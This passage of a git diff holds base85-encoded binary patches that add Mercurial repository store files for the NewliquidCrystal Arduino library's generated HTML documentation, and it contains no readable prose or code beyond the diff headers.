zv|(ZxA&e>koLo&^&q7bU*YX(9Mu~wpqGGZ|>VO29U;r&Yh<|Q6QshN4PVi-lR%j?B z#6Ajg6nX#*S6lM~;eH0e)MHqPq>v{t3aP%$9Ajkxe*jr4@KvddUHGJ=M2oK2_M}S@ ze!VyS?oC_!D&Sy%vsJr)^+=)Aq>l-jiL!Ru^9vi|`*TEMMA##qf&6RbBu1%7<8c zfMf3SdGdtZ`y>~152kfj(+R_%6KtsKOW7rJIqfF@5jXdbdK`R|#?B9`OWTdiV;D&v zrq0=OVq#+V;zxT>?Xq390Ddg!Jb%^D!G7^Ur+E<{`H}xEzcNOm!`?-fy%XQrsG_F) z#0LYzaKHMa!+howg3Rt)=HI1J}~iG+yQ8IIFw8Mec=N*;D$9+aC42XpPtO%GhXXadojzH^d%#Px3$!OhAL~#F&GWNmp9upIm$l5= zj)801hK=gc4>5&l%PH+A_gX`!Z(l5gvN;+OeUGx1Udt?4`;Twyr8P zUUFtY;qB@>vHykRXUn%hSv@!bC_e3DsnZ25@)yJ3(z}<`-qXZ*Gp+O8#A%1fh?g8AE&syfrKFmPu8@y7Vo5&{l*bD zJ529@_z}$%*|j~D;)tQ0lyCV`yf)Cszw++xZYMcY`Sy0_>d%hTPB7)=)v-gXxW|@e zN+xNBE3D8&cnuG<3(-ttUdhd>-SvX?x?FB++32l9%-1PdSJ~uveJ>I^Hh-1hP15gMU31YMbJ`Rx^_jn!fi@8)ajy-GDObS!3( zTQhc;r|09WxwBhntoaOBske}`p2?Fsji{}&I7eESX}6onLl8*b+71|^HrRHtDNK0X zJ|rU0+P`-FGo<$XmMaVOac(AyUG7iR9ny8B+P zN1A{nEpokW6|b=D*mEuj&=IqR?@XOv*ZYrO;kR@3N{?DDXugeAcHM1w+Ui&Dbj)rv zUBKjJW1g9{r|$SNOGENAADveR-Yx}j4tD8IidWPd!k!F0aeHz5wdNhDWl&WfS!V8hXj*BToSz{3k{~}P#dq6@WVoa= z>n2+o;eR>Qjw8+2DY5$P#x<1rGH)xzU^CmM*zV{Er?8#Zr|r)4iyUs>@+yVh@-Cda z^3HytCq9kG;mdvki4SjXM#qfD65%D9&*`~r{w687!X4%0G^fHK7f=LySY`_j!5wE$f$^O6;k0T#fhr4_4Y}g|E)7?QUl^-s30wvJFVT1 zsZp=<;(1Bt>j)IVO+kN}zgHQ@J=RaEIKOf^Lr$UQYEkdpe%1Y9ZsjxMedT6v6`K63 zCSs4#r$}qy)W!R$tQ_~%;|D+0r@ovu5h%>2oT0o0>$k)w!;%rJx6yUKW5M;B?&-04 zo$P4$#!a{?xk|15oFan3(RR2>me;;7zKvV$b~s{C@1UmR@mp_bN{fn}>4Jq}$+Flx z$j@k#?SS#}vltff-X7Gl^hc8YmI!i3Ihu%^fsEBA;ZOF#k?_gPexGBQ?EG)&^!2?~ z+#|<+0`?+XMH4f5m!6KG*Cm4|%OiO;+-LUoH8gjHOpUQTkwmnX6X6 zgGu(9iIynz^T!{p1&>kp(4}yj#qj95xqBVKw&_5oCps?;j5PnjNU|EZIAX{SA_Z4~ zIWJgN0=x^SAQ*7)O4YGpfEH#7H)Rd4zynUA3@h<3B7ks^hV4;?9r+iLKxR=yzlP_2 zm^%IJ{G6DLFKD=f61V1-SnYjsc?9%SAlPNZJ(!j&ZD9tgLSPl6F*Arnp5Y^MV~a9$ z>#*}WN@z0$ggoQQQXeREByLN$hIMa2TV6IOw{mm?bVvcTM+kdq25EV^ycxGDzA1-K zKDS=Wl?C{-98gOF8zF4g>X<1-h7ZOULHfqBlf(EQ*a8wo(=PD@CfSBB7d)CJ#N|Fq z`l@{F3(ID~Om9I^Fp~myGl<9Di<_ofu=Eo;Uhdt?O~&Xcwp;O3Sg$*2>$o^3v$fre z@{JXv3?gEttHLUMN!^@g`>4-wj5>lXxx#EWrp#ggfw-X`Jit!Zga&INSH+?ov>0^8 zqGG)%K@=K4EDzJMNhQe-_XD)I8Cw)`COs^Y(f?k~s4=6z|Gj5W2qc2>dhp>PkXCtQ z_$k|186z;wO`}UVV$G9QVE{PXIjtESsd*t`Q|1K0m(JK9Mwf6y)|{2)6bFvuahrli z5ys-iVEkbRe(A@TplBLRINAfmTd z1jVYEM3^ChvCpUMdOjv$fa(J+fj_1pRzf<6uInv0S(W>kBw=9`*@tTj*aVqI>}|hV zksc}DV6-nK4{2tj=eq$G^q|W$#^`H~-7OjFK+f?Om~y^|vw~Jk(kOzY(R69sJ_2`aI?wBO+&n4W|K=ax_dHUM|og zgsKZXISnrO$UclgcOt^xUHMS3RpTkdR)}8WjmY}3OEy1{nU@Tp5KA67c}E`B-(FT2 z;#2b}e$pN=s8k3aipsjkFsH2E!@a}j$I`W^diNOrkeVi5T$T2YCm90i^n@cJj9rLD zVP^n+NZaXp8o1gpTK0AqQcc?{A^98un@ms;;5cgdll274AvTF_qzTnkD+TTRzDQV* zBpao~ z{feJfS0?L;;sT`gP92Dp9LDPpfwvBPuMfV+%Lqe?7f;T^+M>!K z7|YvC+lt48<0Re47~p01ZcL1*PD%}pMbR{329(xaq*@Y=xJ$E*R(q)%43 z1oC{;E=Zi}MYjeGVAT}#%j*)SkCk@Cl-LNB2;-^58A6PX^J!lKh)mfr+w3EqB#Ove zPvlRJ`{xlP%hC%psg0yB`s^Y8i&&&f-qrn58BM&n zF-kGU7LXT`A&tqnx8{-OgJ@6`X%q?Q4U%A-Za?fO6E|!XOQi!kppLcpscM44v2O7F z*kN{vi9U?!$CyG%1jd=RJ@OhTIc`uq;SUf{C3NoZ zv#m*5^Hm;cnrbP){vZ4NswW)+jz7bYb0`N*t_W(rMqxLXoTnE~ezT_}r!z~Zlbi~N zj0FDTLnr&D=d<7;=OyX!+32(64i(7?dw^79FCjOoTMSkyvltwWK zcqJ0CYFG>TjxH;2q+mlgQQ}0UxN*%@(Sxs0*@O}`0A_qdJEcB~+*oBnf-9jYRXUm> zSO*5#c>4H5cXvcuf{z1hja_^hlJY~baH2zrO6tZxgwOSZ1D~*`(}+o*j+v9p_1Da( zYi2`uivRe|Ol3nF|paOG-xg(JUHNe0-qvS44$VA0`G%p>a3WOOlab zL;@)c1s9RKHRS_4g?_D~VWim+frx5|($P984SUs#uxle(io%PMCkIXdBcXz9EvNuL zsxSwv&dgqLEC@T>dC(jQHOVm)hon(t)1g(zeI@!E=MgBNACn*{($CUQh6F4B{RK>Q z)ve`CF^P2gaM=glSh8QSEc|{VQeko^bHrE9_x+(A-hET;P+LSwivn!#)-&olVcojl zawQ)3g@?WYc2+?}S;dF@T*=o=?_#crczb718~t7!nU{qAtg>vwYBh76SSC9R^bX4= zwVEAxAQ@W6LBB%TIjoFg5BCyf-cV%j9OPJepE2_noLTJ9ZaTnLJpqKa1IBYnjY>%|lErNgb|R)2BJh~XDa zD|zKpRxncb*cH)bBF-PUA{o7wKTcZ*T)_mRAOd=gQNoHkQwz@rcfy>CpdrZ_TEfc%G=)RVTI5=J-lJf(*(z~ z6!*z~^n^pjDt+wT&Dc%da{NRhSF40?d#e>rNV=Di8+o1k26x(+%h zEo^5KG72=!9S!Fk_#i}3EIn1hBvbCQ(^=%Zn1tnVnHf|&00v=iJSQOutZo4D4Y7J> z$Ts(ojG1D+1>xc1Q2U+0`s29Uga9aDd?uT7YNB=vdQk;06o%xZm;%tzQc+MB77Q!# z{2}53l$S6NAnqY6*>qU7A~`spgWWX)Ra0ZQwt3}#D z6%>pf=C=HCh8~%v$+r1RqnP5(#YqFrpWSbay%ZtMI*{nNQ>wLjS0tGvpCnoFEWyuGDdslAYfbk+Lt&>n;S5F9&GUj8Z9y{neJ?tmIy1(U?D#FA}D z1qieT#h(!SShP&-eh=eX+dT~3_&5B?w9RgNa|3Iy4ruEwY2XeMLADa(x*f`k7T|%B zTPV_HGu7zTSPbA%?|Uzg5Vbb`cboI4QT41kd7*UD;0W2M1u09Jqs04kwoUTgA2Ya9 zPPZ0TT`?*CYwLw*3w`RS(!BgSJJE#aY59?SXN;yFO@_f)7))3usygrs-24(cVDAeb zu=X)oi{)Plf~8ffu9nM*%#-R=kW+%k9(W&5^_wdD`T1otJ>4Anv_t={`Blv-Lr7O^ z8p+VWCOsf&TuHVKC(@D{Z+lq&Iv~Bh?YWr`U#ZL6(w(9iCiKz?EQut^5}$`#TUC&d zeAdj+tt8%@_k-O`(lE}p%i5BzK9)C5d+#Z!ErX8nG8wO1C7w1OZ<8v*L5&`a)Ylj= zoZroo_J-IM<&`?Aw=jpJ)ncYxAp23@!mv0J0R!;8fWiO~h3nGf{$$fiJe@5CiQEVw zWJvi-emlA-Ark^#&aM-s?!xZU`*7mR26DW%tM?+(s!co0n;7@OTJs97nY>Z955aRP z&yhu0>_h6d_*H*l@z=o;qgzguMEXtO0hY7OM;B$wV|npvOsrDTnw(FJ#}|A1kg8ku znwOcSG)+i*D6vFw>62`FZhUSxC#8A;p3A7CQMC-;7QwDo?NRJEab(i=8O{CS-Qw5M~A<{!9fw{imhNE`)oV znGSa&Z6eWMfeoqknui*D)_W5+nBj}POtJEciHct0lpKa zZv+JeQ8*02P*KSRArB`ZuWW<_^&)&<&=F{@-L7x1MWPgtb#rOIFa2A2>H4^5-ZM|M z&R+7Lt7*NHm#WcINg(mIPnB)_bAJ2#dTed%MW3QnCaRN$msE|VqTvspops@>zS-De z}}I+*{F5 zu@!pd9y%pP$@Y-U(Y0e5`9 zQgJL*Fa+hYLsv3ZqTMqur{{gtqgku`Y2URN>ys{V!V@PpCz|_c4^5)REt}ySa`AlM zRaiq74XoUc8T^EAMC7`EPW<+e&;eP-{nj(A03tlDfIeaL2tD&8T5(@YB$v&2{ww+GZ-RLo+!hpJ|loIaI~7{fD|x4?wSJE>a;+7KiEz z)%ZK_g+6awamj*rQ57BY4~a2oS3MXkY2huss-b-k#=6h<{So1jS zZ)^*QTc2*Wz>5y?G$*jtPFWGBV3lFOPNkLI0$R(MU{$G$RU;gp>!%eh{l1flkUb@^ zRBH?AF~C7_i2wlnIoP(o=P%P+<%QwzLyB@lL)pZG`i8mMFjuTECKEb5)>6KGUwiTR zaN>wA04j$;A1KbZh!>5Egh*!g9#l$VlqXNQ?O#j;I0JjEQzv}ts;epTio-EYsEmZ) zeMTR1#Dub3x>>fmoz+LTzm#B}uO`W>8#dBjuDzg|h0r3fwtC8AS@(V4|tbS0@$Z(2}L zMf9<;@AdC}r~e-&NH~QH4*}M3`oJckiw8j4~L28ncHS zJg2OXCmTO48cf|y6sdw_K+hx8Gq?JD0vXA+Spyz&T>~G;S-4<;_>AMz~geD7!iFL zCXZv3fkg-}rEw)|y$_6lTp0~6%9mPE`^%O?R$`HeLcb(|X2=A3qy^1p`a|87J9{p6 zaVJK8gh9b%D*T*uh|^RU!U>w%O;O2B1-iy)T=#)AtYtuwBjpEWR2}Q`R!cyu@yelj z0s(fKvxQDUhm+&sS$AAZ`-?SNKFz87r?dKXIa_KLcQG;ROtnI$k2n)+m>Q>~S?$%o zJlv?+mDb^+U|51DB_T&6trmz9#=f1dYQpY6gorrZK1M76-`BUBTi8ixXFb*n`{1|n z;1LlM-|lm1dsK6oGZFp>dn}(i(YG72^zvV}lLcZF!@QQpF6hU*6l>y@@umdj=5y6=wIn^Q8_NyUDE{}prGL=UG73$jw}FaZl`r5 MeU08;QZU2+0fi}E_5c6? literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/functions__vars.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/functions__vars.html.i new file mode 100644 index 0000000000000000000000000000000000000000..752807ded4b9c0994e1c56173a796c861f357308 GIT binary patch literal 2347 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'E`XIzPN2aDST1`D65n% zH&eRoTjRdu!|TDvasHD!*>-f&``qb&KI_)~+0llh7)(4kN|;!ARL*F?@DQ?0LOJn< z$SuEne3GN?Do5RII_l00%TLqbc0YjHyhReyy`=zo#bG@GpQh4{wGV`Fhx|4#&6KQu zTc0){-_3TCWz)eJK3!Koh%ZBtjVH4mI`e(V8yg|#I|Jvt&=$M)p1djXsap|eTl7Hw z=uxu2!uM*Y9+ztlHgmVu_xjDxf$J_z@uhXR z*id|Mzl+Np{%jp^6CK*=lC<6F=j%b5=&{(7`}4J+jkLJm7x(iuVNEpo+Z4mJQ~Q@_ z!kcJvzsv9ED}XPCJR=B`46D~zzGhT8*dy#}w|j)W#9m@l6sO5n zpmB^ErfeU6{rEqJJp%9t13h#E~o7mYo6!p_?3C7Jgvm&dHnxRaR!_)2c_hSXYXMY62=U)Ut@B>1q@3IS& zxj{HBCud;m!kj}mJlNes2U${@a{lBo5qP^_O-*s9-RwMpG8~dF>ta8;ulB%xux5rY z&)Tv!x*5L89CW-aA+outszEr*I^_ZoEo$GJ{HkujHC2tESJn^MJ9bjke)-j+K}&M` z%MHjh&+5dKUhgJ824UxX@~$(hpzKtT`;~1KlLEFwbTyEFeSo(!HicU-wlgd~KH@2a z8qXY>i(^l{xpA6L5|dZmaeba|e6z7}$5S`R-nokfhK;;W9_ve zr_5<>7#126;)G?XNfcq;4vJu6g^|WcA1_yP>|ReXIwB|CaldC8Sv;Xf)_=C;(Ju{h z(;(hCe)aOjZhUg|;&?xP{^Hs52QNTIidt$@VZnfNspL2nGO{X_jDSr)%J*TWgI6aH zMp8Ngm!w2<={Td{5(qrsn=g-yXy-cSheon1m*&)m{%nfcm#2L<=gJ@xGRv zm?gy7<13N?DC3o|M5vTYB80Hq80Qk};VfQ)BwCGxL^=iR9HZJoN*OUAoia{HZk%y! z2@PDz_mAHB{foKOK6L@M+W zB>M+DKR%d4@W}7wgwcp_E+at{#fo{aP{y@_j~_O7IpWu&2cx8fQ)3ezah7Tonp2`nCu^}<{Y79L^0<)V$#Q{_mSVf;FRA?iA~HB$H~!XH4-Jcph{q!5bA@( z-vQP|z_gFoR0#+7CwYDNdbGc{8V&ffm0N~^DDWG}pDBr>i9hWyrcx4mkDICgPg~l{ zbo9wDQysqu)CzHBKG@n5MrK!Q8Nr6VD zMmw`p#1O^AKj;?YTUelUQleYAD@v}@*LAN)E5f+0r(3<=<>h79P2SE=q3BM^(_U6M zczdOShv{eMr~jG0P0klRrp0N9OkUqu{2z)&1w^{C%TcREn}@b*y2*_9vmp5HC-1to K^?w1C`U8sscuV5| literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__defs.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__defs.html.i new file mode 100644 index 0000000000000000000000000000000000000000..2fd8b9dcabb0164926764180d94151c829eeff3a GIT binary patch literal 4994 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 